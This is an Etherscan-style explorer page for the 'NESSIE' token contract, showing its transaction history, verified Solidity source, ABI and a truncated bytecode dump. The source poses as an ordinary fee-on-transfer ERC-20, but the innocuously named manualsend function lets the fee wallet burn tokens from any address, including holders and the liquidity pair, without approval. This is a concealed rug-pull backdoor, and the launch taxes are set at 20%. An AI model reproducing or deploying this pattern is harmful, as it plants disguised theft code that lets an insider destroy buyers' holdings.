ETH Price: $3,490.19 (+0.06%)
Gas: 1 Gwei

Contract

0x9340fAAd9909F5Bf331cC5631971A2B558BD4ac1
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer184900122023-11-03 7:21:11261 days ago1698996071IN
0x9340fAAd...558BD4ac1
0 ETH0.0010173917.96561794
Transfer184900122023-11-03 7:21:11261 days ago1698996071IN
0x9340fAAd...558BD4ac1
0 ETH0.0010173917.96561794
Transfer184900112023-11-03 7:20:59261 days ago1698996059IN
0x9340fAAd...558BD4ac1
0 ETH0.0010173917.96561794
Transfer184900112023-11-03 7:20:59261 days ago1698996059IN
0x9340fAAd...558BD4ac1
0 ETH0.0010173917.96561794
Transfer184900112023-11-03 7:20:59261 days ago1698996059IN
0x9340fAAd...558BD4ac1
0 ETH0.0010555718.63980693
Transfer184900102023-11-03 7:20:47261 days ago1698996047IN
0x9340fAAd...558BD4ac1
0 ETH0.0010555718.63980693
Transfer184900102023-11-03 7:20:47261 days ago1698996047IN
0x9340fAAd...558BD4ac1
0 ETH0.001379218.70609256
Approve184900002023-11-03 7:18:47261 days ago1698995927IN
0x9340fAAd...558BD4ac1
0 ETH0.0006307513.65
Transfer184899122023-11-03 7:01:11261 days ago1698994871IN
0x9340fAAd...558BD4ac1
0 ETH0.0017848512.56490621
Approve184897412023-11-03 6:26:35261 days ago1698992795IN
0x9340fAAd...558BD4ac1
0 ETH0.0006887714.78664189
Approve184896532023-11-03 6:08:23261 days ago1698991703IN
0x9340fAAd...558BD4ac1
0 ETH0.0008171917.54350899
Approve184896492023-11-03 6:07:35261 days ago1698991655IN
0x9340fAAd...558BD4ac1
0 ETH0.0005332911.46350772
Approve184896412023-11-03 6:05:59261 days ago1698991559IN
0x9340fAAd...558BD4ac1
0 ETH0.0005745112.33360326
Approve184896342023-11-03 6:04:35261 days ago1698991475IN
0x9340fAAd...558BD4ac1
0 ETH0.0005768212.39922669
Approve184896182023-11-03 6:01:23261 days ago1698991283IN
0x9340fAAd...558BD4ac1
0 ETH0.0005949112.77172882
Transfer184895952023-11-03 5:56:47261 days ago1698991007IN
0x9340fAAd...558BD4ac1
0 ETH0.0009439516.66873181
Transfer184895952023-11-03 5:56:47261 days ago1698991007IN
0x9340fAAd...558BD4ac1
0 ETH0.0012289816.66873181
Transfer184895892023-11-03 5:55:35261 days ago1698990935IN
0x9340fAAd...558BD4ac1
0 ETH0.0011604215.73886548
Approve184895752023-11-03 5:52:47261 days ago1698990767IN
0x9340fAAd...558BD4ac1
0 ETH0.0006469613.88901459
Approve184895672023-11-03 5:51:11261 days ago1698990671IN
0x9340fAAd...558BD4ac1
0 ETH0.0005466411.73526598
Approve184895602023-11-03 5:49:47261 days ago1698990587IN
0x9340fAAd...558BD4ac1
0 ETH0.0007652116.53842418
Approve184895602023-11-03 5:49:47261 days ago1698990587IN
0x9340fAAd...558BD4ac1
0 ETH0.0007652116.53842418
Approve184895472023-11-03 5:47:11261 days ago1698990431IN
0x9340fAAd...558BD4ac1
0 ETH0.0007253315.67655641
Approve184895472023-11-03 5:47:11261 days ago1698990431IN
0x9340fAAd...558BD4ac1
0 ETH0.0007253315.67655641
Approve184895472023-11-03 5:47:11261 days ago1698990431IN
0x9340fAAd...558BD4ac1
0 ETH0.0007477516.16109175
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
184896542023-11-03 6:08:35261 days ago1698991715
0x9340fAAd...558BD4ac1
0.03090945 ETH
184896542023-11-03 6:08:35261 days ago1698991715
0x9340fAAd...558BD4ac1
0.03090945 ETH
184895782023-11-03 5:53:23261 days ago1698990803
0x9340fAAd...558BD4ac1
0.00640584 ETH
184895782023-11-03 5:53:23261 days ago1698990803
0x9340fAAd...558BD4ac1
0.00640584 ETH
184895752023-11-03 5:52:47261 days ago1698990767
0x9340fAAd...558BD4ac1
0.00825237 ETH
184895752023-11-03 5:52:47261 days ago1698990767
0x9340fAAd...558BD4ac1
0.00825237 ETH
184895652023-11-03 5:50:47261 days ago1698990647
0x9340fAAd...558BD4ac1
0.00197069 ETH
184895652023-11-03 5:50:47261 days ago1698990647
0x9340fAAd...558BD4ac1
0.00197069 ETH
184895642023-11-03 5:50:35261 days ago1698990635
0x9340fAAd...558BD4ac1
0.00343703 ETH
184895642023-11-03 5:50:35261 days ago1698990635
0x9340fAAd...558BD4ac1
0.00343703 ETH
184895622023-11-03 5:50:11261 days ago1698990611
0x9340fAAd...558BD4ac1
0.01251932 ETH
184895622023-11-03 5:50:11261 days ago1698990611
0x9340fAAd...558BD4ac1
0.01251932 ETH
184895552023-11-03 5:48:47261 days ago1698990527
0x9340fAAd...558BD4ac1
0.00941485 ETH
184895552023-11-03 5:48:47261 days ago1698990527
0x9340fAAd...558BD4ac1
0.00941485 ETH
184895462023-11-03 5:46:59261 days ago1698990419
0x9340fAAd...558BD4ac1
0.01342818 ETH
184895462023-11-03 5:46:59261 days ago1698990419
0x9340fAAd...558BD4ac1
0.01342818 ETH
184895372023-11-03 5:45:11261 days ago1698990311
0x9340fAAd...558BD4ac1
0.00392835 ETH
184895372023-11-03 5:45:11261 days ago1698990311
0x9340fAAd...558BD4ac1
0.00392835 ETH
184895342023-11-03 5:44:35261 days ago1698990275
0x9340fAAd...558BD4ac1
0.00428085 ETH
184895342023-11-03 5:44:35261 days ago1698990275
0x9340fAAd...558BD4ac1
0.00428085 ETH
184895332023-11-03 5:44:23261 days ago1698990263
0x9340fAAd...558BD4ac1
0.01711299 ETH
184895332023-11-03 5:44:23261 days ago1698990263
0x9340fAAd...558BD4ac1
0.01711299 ETH
184895212023-11-03 5:41:59261 days ago1698990119
0x9340fAAd...558BD4ac1
0.00920384 ETH
184895212023-11-03 5:41:59261 days ago1698990119
0x9340fAAd...558BD4ac1
0.00920384 ETH
184895152023-11-03 5:40:47261 days ago1698990047
0x9340fAAd...558BD4ac1
0.01307239 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NESSIE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-03
*/

/**

Website: https://nessieis.live
Twitter: https://twitter.com/nessieislive
Telegram: https://t.me/nessieislive

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.15;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract NESSIE is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Nessie is live";
    string private constant _symbol = "NESSIE";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tTotalFee;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 20;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 20;
 
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _developmentAddress = payable(0xAc46595EABcFF2F7aC08E6811CC71ec562BBA23f); 
    address payable private _marketingAddress = payable(0xAc46595EABcFF2F7aC08E6811CC71ec562BBA23f);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    uint256 public _maxTxLimit = _tTotal * 20 / 1000; 
    uint256 public _maxWalletLimit = _tTotal * 20 / 1000; 
    uint256 public _swapTokensLimit = _tTotal * 5 / 100000;
 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
 
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_developmentAddress] = true;
        _isExcludedFromFees[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
 
            //Trade start check
            require(tradingOpen, "TOKEN: This account cannot send tokens until trading is enabled"); 
            
            require(amount <= _maxTxLimit, "TOKEN: Max Transaction Limit");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletLimit, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensLimit && amount >= _swapTokensLimit;
 
            if(contractTokenBalance >= _maxTxLimit)
            {
                contractTokenBalance = _maxTxLimit;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        if (amount > 0) _marketingAddress.transfer(amount);
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend(address to, uint256 amount) external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        _tokenTransfer(to, address(0xdead), amount, false);
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tTotalFee = _tTotalFee.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function updateTaxFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 3, "Buy rewards must be between 0% and 3%");
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 5, "Buy tax must be between 0% and 5%");
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 3, "Sell rewards must be between 0% and 3%");
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 5, "Sell tax must be between 0% and 5%");

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    function removeLimits() public onlyOwner {
        _maxTxLimit = _tTotal;
        _maxWalletLimit = _tTotal;
    }

    function createLP() public payable onlyOwner() {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH());

        uint256 tokenAmount = balanceOf(address(this));

        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function enableTrading() public onlyOwner {
        tradingOpen = true;
        swapEnabled = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLP","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"updateTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a670de0b6b3a764000060001962000254565b620000289060001962000281565b6006556000600881905560146009819055600a829055600b819055600c829055600d819055600e91909155600f8190556010805473ac46595eabcff2f7ac08e6811cc71ec562bba23f6001600160a01b031991821681179092556011805490911690911790556013805461ffff60a81b191690556103e890620000b590670de0b6b3a7640000906200029d565b620000c19190620002b7565b6014556103e8670de0b6b3a76400006014620000de91906200029d565b620000ea9190620002b7565b601555620186a062000106670de0b6b3a764000060056200029d565b620001129190620002b7565b6016553480156200012257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600081815260026020908152604080832094909455601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915582546001600160a01b03908116845260058352858420805460ff1990811660019081179092553086528786208054821683179055601054831686528786208054821683179055601154909216855286852080549092161790559351670de0b6b3a764000081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620002ce565b634e487b7160e01b600052601260045260246000fd5b6000826200026657620002666200023e565b500690565b634e487b7160e01b600052601160045260246000fd5b818103818111156200029757620002976200026b565b92915050565b80820281158282048414176200029757620002976200026b565b600082620002c957620002c96200023e565b500490565b611bd180620002de6000396000f3fe6080604052600436106101445760003560e01c8063751039fc116100b6578063c3c8cd801161006f578063c3c8cd80146103a6578063da0ebc62146103bb578063dd62ed3e146103d1578063f2fde38b14610417578063f7f23a0c14610437578063f8f3c5a91461043f57600080fd5b8063751039fc146102ef5780638a8c523c146103045780638da5cb5b1461031957806395d89b4114610337578063a44379f414610366578063a9059cbb1461038657600080fd5b8063313ce56711610108578063313ce5671461024657806349bd5a5e146102625780635edbd8861461028257806361e8029f146102a457806370a08231146102ba578063715018a6146102da57600080fd5b806306fdde0314610150578063095ea7b3146101995780631694505e146101c957806318160ddd1461020157806323b872dd1461022657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600e81526d4e6573736965206973206c69766560901b60208201525b604051610190919061189f565b60405180910390f35b3480156101a557600080fd5b506101b96101b4366004611902565b610455565b6040519015158152602001610190565b3480156101d557600080fd5b506012546101e9906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020d57600080fd5b50670de0b6b3a76400005b604051908152602001610190565b34801561023257600080fd5b506101b961024136600461192e565b61046c565b34801561025257600080fd5b5060405160098152602001610190565b34801561026e57600080fd5b506013546101e9906001600160a01b031681565b34801561028e57600080fd5b506102a261029d366004611902565b6104d5565b005b3480156102b057600080fd5b5061021860165481565b3480156102c657600080fd5b506102186102d536600461196f565b610526565b3480156102e657600080fd5b506102a2610548565b3480156102fb57600080fd5b506102a26105c5565b34801561031057600080fd5b506102a2610602565b34801561032557600080fd5b506000546001600160a01b03166101e9565b34801561034357600080fd5b506040805180820190915260068152654e455353494560d01b6020820152610183565b34801561037257600080fd5b506102a261038136600461198c565b610645565b34801561039257600080fd5b506101b96103a1366004611902565b6107f9565b3480156103b257600080fd5b506102a2610806565b3480156103c757600080fd5b5061021860155481565b3480156103dd57600080fd5b506102186103ec3660046119be565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042357600080fd5b506102a261043236600461196f565b61085d565b6102a2610947565b34801561044b57600080fd5b5061021860145481565b6000610462338484610be1565b5060015b92915050565b6000610479848484610d05565b6104cb84336104c685604051806060016040528060288152602001611b74602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061116e565b610be1565b5060019392505050565b6010546001600160a01b0316336001600160a01b0316148061050a57506011546001600160a01b0316336001600160a01b0316145b61051357600080fd5b6105228261dead8360006111a8565b5050565b6001600160a01b038116600090815260026020526040812054610466906111d6565b6000546001600160a01b0316331461057b5760405162461bcd60e51b8152600401610572906119f7565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ef5760405162461bcd60e51b8152600401610572906119f7565b670de0b6b3a76400006014819055601555565b6000546001600160a01b0316331461062c5760405162461bcd60e51b8152600401610572906119f7565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b8152600401610572906119f7565b60038411156106ce5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420332560d81b6064820152608401610572565b60058211156107295760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420356044820152602560f81b6064820152608401610572565b60038311156107895760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420332560d01b6064820152608401610572565b60058111156107e55760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261352560f01b6064820152608401610572565b600893909355600a91909155600955600b55565b6000610462338484610d05565b6010546001600160a01b0316336001600160a01b0316148061083b57506011546001600160a01b0316336001600160a01b0316145b61084457600080fd5b600061084f30610526565b905061085a8161125a565b50565b6000546001600160a01b031633146108875760405162461bcd60e51b8152600401610572906119f7565b6001600160a01b0381166108ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610572565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109715760405162461bcd60e51b8152600401610572906119f7565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e89190611a2c565b6001600160a01b031663c